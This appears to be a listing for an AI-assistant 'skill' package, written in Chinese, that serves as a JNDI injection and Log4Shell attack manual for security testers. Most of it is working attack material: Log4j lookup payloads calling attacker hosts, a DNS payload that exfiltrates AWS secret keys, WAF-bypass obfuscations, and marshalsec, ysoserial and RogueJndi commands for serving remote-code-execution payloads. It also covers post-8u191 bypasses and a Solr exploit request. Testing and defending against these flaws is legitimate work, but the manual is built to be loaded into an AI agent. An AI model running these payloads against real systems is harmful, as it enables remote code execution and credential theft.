关于 jndi-injection
面向安全测试者的 Java JNDI 注入攻击指南,讲解 RMI、LDAP、Log4Shell、JDK 版本限制及相关工具,帮助区分 JNDI 注入与一般反序列化问题。
主要功能
- 01RMI 与 LDAP 查找攻击面
- 02JDK 版本限制与绕过路径
- 03Log4Shell 检测与注入点
- 04marshalsec 等工具用法
适用场景
- 01排查应用中的 JNDI 查找输入
- 02评估 Log4j2 日志注入风险
- 03根据 JDK 版本分析攻击路径
- 04使用 DNS 探测确认 JNDI 求值
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill jndi-injection安装后在 Claude Code 中输入/jndi-injection确认已加载。
详细介绍
技能:JNDI 注入 — 专家攻击手册
AI 加载指令:专家级 JNDI 注入技术。涵盖查找机制滥用、RMI/LDAP 类加载、JDK 版本限制、Log4Shell(CVE-2021-44228)、marshalsec 工具,以及利用反序列化 gadget 绕过 8u191 之后的限制。基础模型常会将 JNDI 注入与一般反序列化混淆 — 本文件阐明了二者不同的攻击面。
0. 相关路由
- 当 JNDI 导致反序列化时,参见 deserialization-insecure(8u191 之后的绕过路径)
- 当通过 SpEL 或 OGNL 表达式求值到达 JNDI sink 时,参见 expression-language-injection
1. 核心机制
JNDI(Java 命名和目录接口)提供了一个统一 API,用于从命名/目录服务(RMI、LDAP、DNS、CORBA)查找对象。
漏洞:当 InitialContext.lookup(USER_INPUT) 接收到攻击者控制的 URL 时,JVM 会连接到攻击者的服务端并加载/执行任意代码。
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
2. 攻击向量
RMI(远程方法调用)
rmi://attacker.com:1099/Exploit
攻击者运行一个 RMI 服务端,返回指向远程类的 Reference 对象:
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
LDAP
ldap://attacker.com:1389/cn=Exploit
攻击者运行一个 LDAP 服务端,返回包含 javaCodeBase、javaFactory 或序列化对象属性的条目。
由于 LDAP 限制的加入时间晚于 RMI(RMI 为 JDK 8u121,LDAP 为 JDK 8u191),因此 LDAP 优于 RMI。
DNS(仅用于检测)
dns://attacker-dns-server/lookup-name
可用于在不实现 RCE 的情况下确认 JNDI 注入 — 触发对攻击者权威 NS 的 DNS 查询。
3. JDK 版本限制与绕过
| JDK 版本 | RMI 远程类 | LDAP 远程类 | 绕过方式 |
|---|---|---|---|
| < 8u121 | 是 | 是 | 直接类加载 |
| 8u121 – 8u190 | 否(trustURLCodebase=false) | 是 | 使用 LDAP 向量 |
| >= 8u191 | 否 | 否 | 通过 LDAP 返回序列化的 gadget 对象 |
| >= 8u191(替代方案) | 否 | 否 | BeanFactory + EL 注入 |
绕过 8u191 之后的限制:LDAP → 序列化 Gadget
攻击者的 LDAP 服务端不返回远程类 URL,而是在 javaSerializedData 属性中返回序列化的 Java 对象。JVM 会在本地将其反序列化 — 如果类路径中存在 gadget 链(例如 CommonsCollections),即可实现 RCE。
# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever
绕过 8u191 之后的限制:BeanFactory + EL
当 Tomcat 的 BeanFactory 位于类路径中时,LDAP 响应可以将其指定为工厂,并包含 EL 表达式:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
4. 工具
marshalsec — JNDI Reference 服务端
# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
JNDI-Injection-Exploit(全能工具)
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies
Rogue JNDI
java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads
5. LOG4J2 — CVE-2021-44228(LOG4SHELL)
机制
Log4j2 支持 Lookups — 例如 ${...} 这样的表达式,会在日志消息中求值。jndi lookup 会触发 InitialContext.lookup():
${jndi:ldap://attacker.com/x}
任何包含此模式的日志字符串都会触发漏洞 — User-Agent、表单字段、HTTP 标头、URL 路径、错误消息。
检测载荷
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}
# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
WAF 绕过变体
Log4j2 的 lookup 解析器非常灵活:
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
拆分日志绕过(高级)
当 WAF 检测单个请求中的成对 ${jndi:...} 时,可将其拆分到两条日志条目中:
# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}
如果应用程序在重新处理前会拼接日志条目(例如通过聚合流水线),合并后的 ${jndi:ldap://attacker.com/exploit} 就会触发漏洞。
真实案例:Solr Log4Shell
# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr
要测试的注入点
User-Agent X-Forwarded-For Referer
Accept-Language X-Api-Version Authorization
Cookie values URL path segments POST body fields
Search queries File upload names Form field names
GraphQL variables SOAP/XML elements JSON values
受影响版本
- Log4j2 2.0-beta9 至 2.14.1
- 在 2.15.0 中修复(不完全),在 2.17.0 中完全修复
- Log4j 1.x 不受影响(使用不同的 lookup 机制)
6. OTHER JNDI SINKS (BEYOND LOG4J)
| Product / Framework | Sink |
|---|---|
| Spring Framework | JndiTemplate.lookup() |
| Apache Solr | Config API, VelocityResponseWriter |
| Apache Druid | Various config endpoints |
| VMware vCenter | Multiple endpoints |
| H2 Database Console | JNDI connection string |
| Fastjson | @type + JdbcRowSetImpl.setDataSourceName() |
7. TESTING METHODOLOGY
Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│ └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│ ├── Start marshalsec LDAP server with remote class
│ └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│ ├── LDAP → serialized gadget (need gadget chain on classpath)
│ ├── BeanFactory + EL (need Tomcat on classpath)
│ └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
└── Try obfuscation: ${${lower:j}ndi:...}
8. QUICK REFERENCE
# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}
# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}
# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389
# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"